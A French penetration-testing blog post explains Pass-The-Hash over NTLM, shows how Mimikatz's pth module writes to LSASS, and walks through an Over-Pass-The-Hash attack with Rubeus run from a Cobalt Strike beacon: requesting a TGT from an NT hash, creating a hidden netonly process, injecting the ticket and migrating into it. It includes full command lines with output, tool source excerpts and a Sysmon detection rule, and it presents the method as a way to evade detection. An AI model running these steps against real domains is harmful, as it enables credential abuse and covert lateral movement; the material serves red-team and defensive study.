Windows Pentest : Over-Pass-The-Hash

Faire du PTH sans être Admin Local

Posté par Matthieu le 24 mai 2020

Introduction

La technique Pass-The-Hash est un fondement essentiel du mouvement latéral sur Windows. Elle permet de s'attribuer les droits associés à un utilisateur en se basant uniquement sur son hash NT. Cependant, cette technique, qui est couramment utilisée par Mimikatz, est facilement détectable. De plus, elle nécessite de demander les droits Local Administrator afin d'écrire dans le processus LSASS.exe.

Dans cet article, nous verrons brièvement le fonctionnement du Pass-The-Hash, pour ensuite analyser le fonctionnement du module PTH (Pass-The-Hash) de Mimikatz. Pour finir, nous verrons une technique proposant une meilleure OPSec (Opération Security) et ne nécessitant pas les droits Local Administrator.

Pass The Hash - Apercu

Le PTH est une technique exploitant le fonctionnement des protocoles NTLMv1/v2 afin de s'authentifier à une ressource distante sans utiliser le mot de passe en clair de l'utilisateur. Dans un premier temps, voyons le fonctionnement basique du protocole NTLM :

  • Dans un premier temps, le client va demander une "négociation" (message type 1) afin de se mettre en accord avec le serveur sur les fonctionnalités prises en charge.
  • Le serveur renvoie un "challenge" (message type 2), celui-ci est une valeur aléatoire générée à chaque demande.
  • Le client renvoie la "réponse" du challenge (message type 3). Celle-ci est tout simplement le chiffrement du challenge en se servant du hash NT comme clé de chiffrement.

C'est à ce moment là que le serveur va vérifier le challenge. Soit en le reproduisant lui même avec le hash NT du client dans la base SAM s’il s'agit d'un compte local, soit en renvoyant le challenge au contrôleur de domaine s’il s'agit d'un compte de domaine.

Parfois, un schéma vaut mieux qu'un long discours donc voici une illustration du protocole NTLM lors de l'authentification d'un compte de domaine :

Ce qu'il faut bien comprendre ici, c'est que le mot de passe en clair de l'utilisateur ne rentre jamais en jeu : seulement son hash est utile ! Il est donc aisé pour un attaquant ne possédant que le hash d'un compte de s'authentifier auprès des ressources du domaine.

Cette technique a cependant des limites en fonction des politiques d'User Access Control (UAC) mises en place. Ce n'est pas le sujet de l'article mais Pixis (Et oui, encore !) a fait un article très complet sur le sujet.

Mimikatz et PTH

Plusieurs outils proposent l'utilisation de PTH lors de l'authentification mais les fonctionnements divergent.

Forcément, même si NTLM ne prend pas en compte le clair du mot de passe, Windows n'est pas pensé pour laisser l'utilisateur rentrer directement son hash NT comme méthode d’authentification, il faut donc s'adapter afin de permettre ce fonctionnement.

C'est ce que fait par exemple impacket. Cette librairie Python propose un accès très bas niveau aux paquets Windows. Cela permet notamment de réécrire directement les paquets de challenge/réponse en se basant directement sur le hash donné en entrée ("-hashes" lors de l'utilisation de leurs outils d'exemple). Ainsi, la ré-implémentation de la stack SMB permet de s'affranchir de l'utilisation du mot de passe en clair et de passer directement le hash.

Mimikatz et sa commande “sekurlsa::pth” ont adopté une autre approche : réécrire les hash en mémoire. Voici le bout de code en question :

if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE))
			{
				kprintf(L"  |  PID  %u\n  |  TID  %u\n",processInfos.dwProcessId, processInfos.dwThreadId);
				if(OpenProcessToken(processInfos.hProcess, TOKEN_READ | (isImpersonate ? TOKEN_DUPLICATE : 0), &hToken))
				{
					if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
					{
						kuhl_m_sekurlsa_pth_luid(&data);

On comprend rapidement que Mimikatz va créer un nouveau processus puis écrire dans la Logon Session associée au token via la fonction "kuhl_m_sekurlsa_pth_luid" (se référer a mon article précédent si ces mots n'évoquent rien). Ceci implique deux choses :

  • Mimikatz va écrire dans le processus LSASS.exe, il faut donc être administrateur local de la machine.
  • un OpenProcess va être effectué sur LSASS.exe, les droits d'accès demandés par Mimikatz sont très particuliers et feront remonter des alarmes si des règles de détections sont mises en place.
    <Rule groupRelation="and">
    	<TargetImage name="technique_id=T1003,technique_name=Credential Dumping" condition="is">C:\Windows\system32\lsass.exe</TargetImage>
        <GrantedAccess>0x1FFFFF</GrantedAccess>
    </Rule>
    

Over-Pass-The-Hash et Rubeus

Comme nous avons pu le voir, la technique Mimikatz présente des limitations ainsi qu'une OPSec médiocre. Voyons quelles solutions peuvent nous amener à un résultat équivalent tout en évitant les limitations de Mimikatz.

Rubeus est une boîte à outils développée en C# pour interagir avec Kerberos. Ce projet propose une multitude de fonctionnalités : kerberoast, asreproast, s4u, etc...

Ici, nous allons utiliser plusieurs de ces fonctionnalités pour réaliser un OPTH (Over Pass The Hash). Mais qu'est-ce donc un OPTH ?

L'OPTH est une revisite du PTH classique où nous utilisons le hash NT obtenu afin de demander un ticket de type TGT au contrôleur de domaine pour l'injecter ensuite dans un processus. Ainsi, nous nous affranchissons du protocole NTLM qui est de moins en moins utilisé au profit de Kerberos (nous voulons avoir une attitude cohérente, donc suivre les technologies utilisées de manière nominale sur le domaine) et nous nous affranchissons aussi de la réécriture de LSASS.exe. Cela rend possible une meilleur OPSec et ne nous oblige pas à être Local Administrator.

Voyons maintenant en pratique (Enfin !) la réalisation de cette technique avec Rubeus.

Dans un premier temps, nous allons demander un ticket TGT au contrôleur de domaine en utilisant la commande "asktgt" :

beacon> execute-assembly /opt/Rubeus.exe asktgt /user:<redacted> /rc4:<redacted>

[*] Action: Ask TGT

[*] Using rc4_hmac hash: <redacted>
[*] Building AS-REQ (w/ preauth) for: 'domain\<redacted>'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFXDCCB[…]WMuaW8=

[*] Action: Describe Ticket

  UserName      :  <redacted>
  UserRealm     :  <redacted>
  ServiceName   :  krbtgt/<redacted>
  ServiceRealm  :  <redacted>
  StartTime     :  24/05/2020 16:18:45
  EndTime       :  25/05/2020 02:18:45
  RenewTill     :  04/06/2020 16:18:45
  Flags         :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType       :  rc4_hmac
  Base64(key)   :  k++fpN2g7xZn8bjbdD+xQg==

Notre ticket n'est rien d'autre que la longue chaîne en base64. Il nous faut maintenant enlever les sauts de ligne afin d'avoir le base64 sous la forme d'une chaîne de caractères.

Un autre détail qu’il est important de noter : une Logon Session ne peut accueillir qu'un seul ticket TGT. Si nous injections notre ticket TGT dans une Logon Session existante, nous allons rencontrer des soucis... Pour y remédier, nous pouvons utiliser la fonctionnalité "createnetonly" qui permet de créer un processus caché avec SECURITY_LOGON_TYPE 9 (NewCredentials). Cette technique nous permettra d'injecter notre ticket en tout sécurité et sérénité.

beacon> execute-assembly /opt/Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 9936
[+] LUID            : 0x4a0717f

Évidemment, cette commande génère un event id type 1 : Process Created.

Il est maintenant possible de passer notre ticket dans cette Logon Session via la commande "ptt" de Rubeus :

beacon> execute-assembly /opt/Rubeus.exe ptt /ticket:<ticket en base64> /luid:0x4a0717f

[*] Action: Import Ticket
[+] Ticket successfully imported!

Arrivé à ce stade, nous pouvons vérifier la présence de notre ticket dans ce processus grâce à la commande "triage" de Rubeus :


---------------------------------------------------------------------------------- 
| LUID      | UserName               | Service              | EndTime            |
---------------------------------------------------------------------------------- 
| 0x4a0717f | redacted @ redacted    | krbtgt/redacted      | 25/05/2020 02:18:45|
----------------------------------------------------------------------------------

Parfait ! Ce processus est maintenant lié à une Logon Session contenant le ticket TGT demandé à l'aide du hash NT de l'utilisateur ! Si nous migrons dans ce processus via la commande “inject” de Cobalt Strike ou “migrate” de Meterpreter, nous bénéficierons des droits associés à l'utilisateur usurpé !

A noter que nous n'avons pas ouvert le process LSASS.exe puisque le PTT de Rubeus se fait de la manière suivante :

	 if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
                    LSA.ImportTicket(kirbiBytes, luid);

La fonction ImportTicket est basée sur la fonction "LsaCallAuthenticationPackage" :

	var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
    inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
    Marshal.StructureToPtr(request, inputBuffer, false);
    Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
    ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);

Ainsi, aucun "patch" capricieux n'a été fait sur LSASS.exe ce qui nous permet de garder une meilleure OPSec.

Conclusion

Nous avons vu une technique alternative à Mimikatz nous permettant d'avoir une session dans le contexte d'un utilisateur dont on ne connaît que le hash NT. Cette technique est plus lourde mais permet de protéger notre OPSec. Il est important de noter que Rubeus est écrit en C# et peut donc peut être utilisé directement en le chargeant en mémoire. Ce qui est un puissant atout. De plus, le fait de pouvoir utiliser cette technique nous permet d'éviter une LPE (Local Privilege Escalation) qui pourrait se montrer très verbeuse dans les logs de sécurité.

Merci d'avoir lu cet article jusqu'au bout, j'invite le lecteur à partager l'article en retweetant ou en likant.

Happy Hacking!

32 Coeur(s)